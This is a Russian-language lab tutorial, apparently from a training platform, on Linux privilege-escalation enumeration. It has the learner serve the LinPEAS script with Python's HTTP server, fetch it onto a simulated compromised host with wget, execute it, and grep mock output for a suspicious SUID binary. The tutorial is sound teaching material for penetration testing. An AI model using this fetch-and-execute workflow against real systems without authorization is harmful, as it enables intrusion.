Введение
Повышение привилегий — это критически важный этап в тестировании на проникновение и этичном хакинге. Как только злоумышленник получает первоначальный доступ к системе с низкими привилегиями, его следующей целью часто становится повышение прав до уровня администратора или пользователя root. Успешное повышение привилегий во многом зависит от тщательного перечисления системы — сбора максимально возможного объема информации о конфигурации целевой системы, запущенных процессах, правах доступа к файлам и установленном программном обеспечении.
Этот модуль должен закрепить основное правило: перечисление предшествует эксплуатации. Большинство успешных случаев повышения привилегий — это не магия, а обнаружение уже существующих ошибок конфигурации или связей.
Чтобы упростить этот утомительный процесс, специалисты по безопасности используют автоматизированные скрипты перечисления. Одним из самых популярных и стандартных инструментов в индустрии является LinPEAS (Linux Privilege Escalation Awesome Script). LinPEAS автоматически ищет возможные пути повышения привилегий на хостах Linux/Unix/macOS и выделяет результаты с помощью цветовой кодировки, указывающей на вероятность успешной эксплуатации.
Автоматизация полезна, поскольку современные системы имеют слишком много компонентов, чтобы проверять их вручную при каждом тестировании. Однако результаты работы скрипта все равно требуют интерпретации человеком.
В этой лабораторной работе вы будете имитировать сценарий пост-эксплуатации. Вы выступите в роли тестера на проникновение, которому необходимо передать скрипт LinPEAS с «атакующей» машины на «целевую», выполнить его и проанализировать вывод для выявления векторов повышения привилегий с высокой вероятностью успеха.
Запуск локального веб-сервера для передачи файлов
На этом этапе вы узнаете, как размещать файлы для их передачи на целевую машину. Во время тестирования на проникновение у вас часто есть полезный скрипт (например, LinPEAS) на локальной машине, но вам нужен способ доставить его на скомпрометированный целевой сервер.
Быстрый и встроенный способ размещения файлов в Linux — использование модуля HTTP-сервера Python. Это позволяет мгновенно превратить любой каталог в легковесный веб-сервер.
Для этой лабораторной работы мы создали две среды в вашем рабочем пространстве. Каталог ~/project/attacker представляет вашу локальную машину, содержащую скрипт linpeas.sh. Каталог ~/project/target представляет скомпрометированный сервер, на который вам нужно загрузить скрипт.
Сначала перейдите в каталог атакующего, где находится скрипт:
cd ~/project/attacker
Выведите содержимое каталога, чтобы убедиться, что скрипт на месте:
ls -l
Вы должны увидеть linpeas.sh в выводе. Теперь запустите HTTP-сервер Python на порту 8080. Мы будем использовать символ & в конце команды, чтобы запустить сервер в фоновом режиме, что позволит вам продолжить работу в том же окне терминала:
python3 -m http.server 8080 &
Вы увидите вывод, похожий на этот, указывающий на то, что сервер запущен:
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Нажмите Enter один раз, чтобы вернуть приглашение терминала. Ваш локальный веб-сервер теперь активно размещает файл linpeas.sh.
Загрузка LinPEAS на целевую машину
На этом этапе вы будете действовать как скомпрометированная целевая машина и загрузите скрипт с веб-сервера атакующего.
В системах Linux обычно по умолчанию установлены утилиты командной строки для загрузки, такие как wget или curl. Эти инструменты неоценимы для получения скриптов и эксплойтов на целевой системе.
Сначала перейдите в каталог целевой машины:
cd ~/project/target
Теперь используйте команду wget для загрузки скрипта linpeas.sh с локального веб-сервера, который вы запустили на предыдущем этапе. Поскольку сервер работает в той же среде для этой лабораторной работы, вы будете использовать localhost в качестве адреса:
wget http://localhost:8080/linpeas.sh
Вы увидите вывод, показывающий прогресс загрузки:
--2026-10-25 10:00:00-- http://localhost:8080/linpeas.sh
Resolving localhost (localhost)... 127.0.0.1
Connecting to localhost (localhost)|127.0.0.1|:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 645 [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================>] 645 --.-KB/s in 0s
2026-10-25 10:00:00 (15.4 MB/s) - ‘linpeas.sh’ saved [645/645]
Убедитесь, что файл был успешно загружен, просмотрев содержимое каталога:
ls -l
Теперь вы должны увидеть linpeas.sh в вашем каталоге ~/project/target.
Выполнение скрипта
На этом этапе вы подготовите и выполните скрипт LinPEAS.
Запуск инструмента — это только начало. Настоящая ценность заключается в том, чтобы распознать, какие результаты являются обычным «шумом», а какие указывают на практические пути повышения привилегий.
Когда вы загружаете скрипт из интернета или передаете его через веб-сервер, Linux удаляет его разрешение на «выполнение» из соображений безопасности. Если вы попытаетесь запустить его немедленно, вы получите ошибку «Permission denied».
Чтобы исправить это, необходимо использовать команду chmod (change mode), чтобы добавить разрешение на выполнение (+x) к файлу.
Выполните следующую команду, чтобы сделать скрипт исполняемым:
chmod +x linpeas.sh
Если вы снова выполните ls -l, вы заметите, что права доступа к файлу изменились (обычно отображается rwx для пользователя), и имя файла может появиться в другом цвете в вашем терминале, указывая на то, что теперь это исполняемая программа.
Теперь выполните скрипт. В Linux, чтобы запустить исполняемый файл, находящийся в текущем каталоге, вы должны добавить перед ним ./. Это указывает системе, где именно искать программу:
./linpeas.sh
Вы увидите, как скрипт запускается и выполняет различные проверки системы. В реальном сценарии LinPEAS выводит тысячи строк информации. Для этой лабораторной работы мы используем упрощенную имитационную версию, которая подчеркивает основные концепции.
[+] LinPEAS - Linux Privilege Escalation Awesome Script (Mock Version)
========================================================================
[?] Basic System Information
Linux labex-vm 5.15.0-1040-aws #45-Ubuntu SMP ...
[!] HIGH PROBABILITY PRIVILEGE Escalation VECTORS
[+] SUID files:
-rwsr-xr-x 1 root root 43K /usr/bin/sudo
-rwsr-xr-x 1 root root 32K /usr/bin/su
-rwsr-xr-x 1 root root 15K /usr/bin/custom_backup (Unknown SUID)
[?] Checking sudo permissions
User labex may run the following commands on this host:
(ALL : ALL) ALL
[+] Enumeration Completed.
Уделите время изучению вывода. Обратите внимание, как он классифицирует информацию по разделам, таким как «Basic System Information» и «SUID files».
Анализ векторов с высокой вероятностью успеха
На этом этапе вы узнаете, как управлять и анализировать вывод, создаваемый скриптами перечисления.
Поскольку реальные скрипты перечисления создают огромное количество текста, тестеры на проникновение редко читают его прямо с экрана терминала. Вместо этого они перенаправляют вывод в текстовый файл, чтобы позже искать в нем информацию с помощью таких инструментов, как grep.
Давайте запустим скрипт снова, но на этот раз мы используем оператор > для перенаправления вывода в файл с именем results.txt:
./linpeas.sh > results.txt
Обратите внимание, что на этот раз на экран ничего не вывелось. Весь текст был отправлен непосредственно в results.txt.
Теперь давайте проанализируем результаты. LinPEAS известен своей цветовой кодировкой, где КРАСНЫЙ/ЖЕЛТЫЙ текст указывает на 99% вероятность наличия вектора повышения привилегий. В нашем выводе он пометил файл «Unknown SUID».
SUID (Set owner User ID up on execution) — это особый тип прав доступа, предоставляемый файлу. Когда файл с установленным SUID выполняется, он запускается с привилегиями владельца файла (часто root), а не пользователя, который его запустил. Если у пользовательского или уязвимого бинарного файла установлен бит SUID, злоумышленники могут использовать его для получения оболочки root.
Используйте команду grep для поиска в файле results.txt по ключевому слову SUID:
grep "SUID" results.txt
Вы должны увидеть следующий вывод:
[+] SUID files:
-rwsr-xr-x 1 root root 15K /usr/bin/custom_backup (Unknown SUID)
Отфильтровав вывод, вы успешно идентифицировали крайне подозрительный файл (/usr/bin/custom_backup). В реальном тесте на проникновение вашим следующим шагом было бы исследование этого конкретного бинарного файла, чтобы проверить, можно ли его использовать для получения доступа с правами root.
Резюме
В этой лабораторной работе вы прошли через критически важный процесс автоматизированного перечисления системы для повышения привилегий. Вы узнали, как размещать файлы локально с помощью встроенного модуля HTTP-сервера Python. Вы также научились передавать файлы на целевую машину с помощью инструментов командной строки, таких как wget. Кроме того, вы попрактиковались в изменении прав доступа к файлам, чтобы сделать скрипты исполняемыми, и их запуске. Наконец, вы узнали, как перенаправлять вывод скрипта в файл и использовать grep для анализа данных на предмет векторов повышения привилегий с высокой вероятностью успеха, таких как неправильно настроенные SUID-бинарные файлы.
Эти фундаментальные навыки необходимы любому специалисту по безопасности или тестеру на проникновение при оценке внутренней безопасности системы Linux.



